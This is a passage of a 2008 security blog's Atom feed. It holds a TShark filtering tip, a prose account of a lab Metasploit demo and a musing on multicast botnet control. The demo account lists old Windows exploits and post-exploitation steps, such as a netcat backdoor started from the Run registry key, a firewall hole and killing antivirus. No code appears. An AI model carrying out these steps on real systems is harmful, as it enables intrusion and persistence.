to use the BPF syntax in combination with binary masking for very specific filter matches. In the below example, we are taking the 13th byte of the TCP header, shifting it left by a nibble (4 bits), then masking it with 0x40 which is binary 0010 0000, and finally testing it not equal to zero. In short, this will show any packet with the TCP RST flag set, but not exclusively that flag. (ie: would could see purely the RST flag, or perhaps even packets with RST+ACK, or some other illegal combination)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-f "(tcp[13] &lt;&lt; 4 &amp; 0x40) != 0"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;BPF syntax allows us to either use macros for matching (like: src port), or header field matches with integer offsets for the more sophisticated.&lt;br /&gt;&lt;br /&gt;Next time you need to capture traffic that is saturating some network link, give TShark some consideration for ensure a high degree of performance and better accuracy.  &lt;br /&gt;&lt;br /&gt;Finally, for maximum network and security analyst safety, please always ensure you have the latest version of Wireshark and WinPCAP.  There have been published exploits against these open source products and you don't want to be a victim!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-240539855424241938?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/240539855424241938/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=240539855424241938' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/240539855424241938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/240539855424241938'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2008/10/tshark-high-performance-packet-capture.html' title='TShark - High performance packet capture'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-786011868595376106</id><published>2008-10-24T03:11:00.001-07:00</published><updated>2008-10-25T09:05:11.566-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security implementation sales ethical hacking'/><title type='text'>Selling security via ethical hacking</title><content type='html'>I had the pleasure recently in my organization to receive a directive similar to this.  "Please develop a presentation that shows people why they need to be a participant in our new higher security network service".&lt;br /&gt;&lt;br /&gt;Ok, calling to all you creative geeks out there - wow... did I just get an order to "ethically hack"?   My thinking was "yes" and this turned out to be one of the most fun assignments I had come across in a while.&lt;br /&gt;&lt;br /&gt;My first response was to get my "get out of jail free" card signed.  (kudos to our friend Ed Skoudis for this one: &lt;a href="http://www.counterhack.net/permission_memo.html"&gt;http://www.counterhack.net/permission_memo.html&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;I then went away for 2 weeks to develop a quick and scary hacking demo that I could present in 45 minutes as a pure sales job for higher security.    The structure of the demo ended up being a combination of some powerpoint slides, and some real live Metasploit fun.&lt;br /&gt;&lt;br /&gt;The powerpoint slides went as follows.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Describe the process of penetrating an enterprise network (scanning, recon, gaining access, keeping access, covering tracks).  My colleague did a little google hacking show in the process.&lt;/li&gt;&lt;li&gt;Describe the C programming language and its flaws, paying special attention to how sub-routines in "C" are being exploited due to poor programming practices with respect to unbounded arrays.&lt;/li&gt;&lt;li&gt;Describe how sub-routines in "C" are embedded in just about all of the computing devices in use today&lt;/li&gt;&lt;li&gt;Show a Metasploit Demo!&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;So, without further ado, lets talk about the Metasploit demo.    First of all, I have to admit upfront that this was a time limited (canned) demo and I decided in the interests of keeping my job, not to find targets on our live network.  (Although I may have done so if I had obtained enough advance recon. time)&lt;br /&gt;&lt;br /&gt;Here is what I did:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Setup a laptop with two virtual machines on it.  One of the two had an unpatched WinXP host with no service packs, the second of the two was WinXP with service pack 2.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Using a second MacBook, I scripted two flavors of MetaSploit attacks.  I called them "direct network attacks", and "indirect network attacks".   The exploits used for either flavor were basically the same, it simply depended on whether I attacked the target directly over a local network (back to back cable) or had the target come to my local web service.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Direct network attack exploits used were as follows:&lt;/li&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;MS03-026: RPC-DCOM buffer overflow&lt;/li&gt;&lt;li&gt;MS03-049: Workstation Service NetAPI buffer overflow&lt;/li&gt;&lt;li&gt;MS04-007: Abstract Syntax Notation Library (ASN.1) buffer overflow&lt;/li&gt;&lt;li&gt;MS04-011: LSASS buffer overflow&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;li&gt;InDirect (phishing style) exploits used were as follows:&lt;/li&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;MS07-?: Browser LoadAniIcon() in User32.dll&lt;/li&gt;&lt;li&gt;MS07/08-?: Browser generic activex overflow&lt;/li&gt;&lt;li&gt;MS06-001: GDI Library WMF SetAbortProc() &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;li&gt;Payloads used were either the VNC DLL injection, Shellcode, or Meterpreter&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Finally, both laptops were at the front of the room with two projectors showing each screen.  Sort of a "bad guy" and "innocent victim" approach.&lt;/li&gt;&lt;/ol&gt;Starting with the unpatched WinXP machine, I did the most simple RPC DCOM buffer overflow, and pushed the reverse VNC DLL payload onto the target.   On the MacBook, I then simply connected to the VNC server localhost addressed and displayed a mirror image of the screen.&lt;br /&gt;&lt;br /&gt;I had a fake looking file called "WIDGET-SALES.TXT" on the desktop which I displayed on the screen to show that the goal was all about gaining access to data (not necessarily about gaining root/system).&lt;br /&gt;&lt;br /&gt;I then moved onto the second virtual machine to show a typical phishing attempt.  Between my colleague and I, we faked up a google mail page with a URL link in it as the browser home page.    On the MacBook, I launched my MetaSploit web listener with the LoadAniIcon() sploit as the payload, and MeterPreter as the payload.&lt;br /&gt;&lt;br /&gt;On the WinXP-SP2 virtual, I showed the user clicking on the "phishing URL" within the google email page (from IE).     The buffer overflow transpired, and we launched Meterpreter.&lt;br /&gt;&lt;br /&gt;Using a meterpreter script, I did the following:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;created a hidden directory&lt;/li&gt;&lt;li&gt;uploaded netcat.exe&lt;/li&gt;&lt;li&gt;poked a hole in the Windows firewall on port 8888 with a service name of "msc".&lt;/li&gt;&lt;li&gt;tweaked the "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" registry key to start my backdoor netcat listener on port 8888.&lt;/li&gt;&lt;/ul&gt;While still using Meterpreter, I killed a few processes (like Symantec AV), executed notepad, calculator, solitaire to truly show the level of control I had over the victim.&lt;br /&gt;&lt;br /&gt;I then simply booted the machine from Meterpreter.  After the reboot, I showed how I could use netcat from the MacBook to reconnect to the target multiple times, gaining Windows shell access each time.&lt;br /&gt;&lt;br /&gt;All of this was accomplished in 45 minutes and let me tell you, I scared the wits out of everyone in the room.  The weirdest part for me was that &lt;span style="font-weight: bold; font-style: italic;"&gt;remotely rebooting the victim machine from Meterpreter seemed to have the highest impact.&lt;/span&gt;    (&lt;span style="font-style: italic;"&gt;*sigh*&lt;/span&gt; - sometimes you just have to take what you can get....)&lt;br /&gt;&lt;br /&gt;However, the bottom line was outrageous success.  In one short session, we built demand for more institutional network security implementation than we ever had experienced before.  It actually turned into a case of "be careful what you wish for".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-786011868595376106?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/786011868595376106/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=786011868595376106' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/786011868595376106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/786011868595376106'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2008/10/selling-security-implementation-through.html' title='Selling security via ethical hacking'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-7786577008889364886</id><published>2008-10-24T02:40:00.000-07:00</published><updated>2008-10-24T04:22:10.319-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='multicast recon botnet worm'/><title type='text'>Multicast as a recon. or attack vector?</title><content type='html'>Having been in the network architecture and security business for some time, I am quite surprised that more network recon. and attack tools have not given consideration to Multicast destinations.    The backdrop is that more and more internal networks are video [multicast] enabled, academic Internet2 participants are often Multicast enabled in a Wide Area (WAN) sense.&lt;br /&gt;&lt;br /&gt;Assuming minimally some internal network access, it would seem that a quick method of recon. would be to send traffic to a well known multicast app. address / port, and see what yields.   At worst, you find a network that is not Multicast enabled and responses at layer 2 only.&lt;br /&gt;&lt;br /&gt;More insideous would be the existance of backdoor command and control of botnets listening on Multicast addresses.   One would only need access to a single internal network node in a large enterprise to send command and control to the remainder of the herd.  Or worse still, if that botnet lived within the Internet2 wide area Multicast space, the command and control aspect could easily be just a trickle of Multicast and not noticed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-7786577008889364886?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/7786577008889364886/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=7786577008889364886' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/7786577008889364886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/7786577008889364886'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2008/10/multicast-as-reconnaisance-vector.html' title='Multicast as a recon. or attack vector?'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry></feed>
